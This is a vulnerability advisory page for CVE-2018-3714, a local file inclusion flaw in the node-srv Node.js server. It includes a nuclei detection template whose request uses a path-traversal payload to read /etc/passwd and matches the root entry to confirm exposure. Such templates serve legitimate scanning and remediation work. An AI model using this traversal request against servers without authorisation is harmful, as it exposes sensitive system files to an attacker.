node-srv - Local File Inclusion

mediumseverity

6.5CVSS score

8.6%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

node-srv is vulnerable to local file inclusion due to lack of url validation, which allows a malicious user to read content of any file with known path.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.

Fix

Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in the node-srv application.

How to confirm it

Send: GET {{BaseURL}}/node_modules/../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-3714 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-3714

info:
  name: node-srv - Local File Inclusion
  author: madrobot
  severity: medium
  description: node-srv is vulnerable to local file inclusion due to lack of url validation, which allows a malicious user to read content of any file with known path.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in the node-srv application.
  reference:
    - https://hackerone.com/reports/309124
    - https://nvd.nist.gov/vuln/detail/CVE-2018-3714
    - https://github.com/merlinepedra25/nuclei-templates
    - https://github.com/sobinge/nuclei-templates
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2018-3714
    cwe-id: CWE-22
    epss-score: 0.08574
    epss-percentile: 0.95116
    cpe: cpe:2.3:a:node-srv_project:node-srv:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: node-srv_project
    product: node-srv
    framework: node.js
  tags: cve,cve2018,nodejs,lfi,hackerone,node-srv_project,node.js,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/node_modules/../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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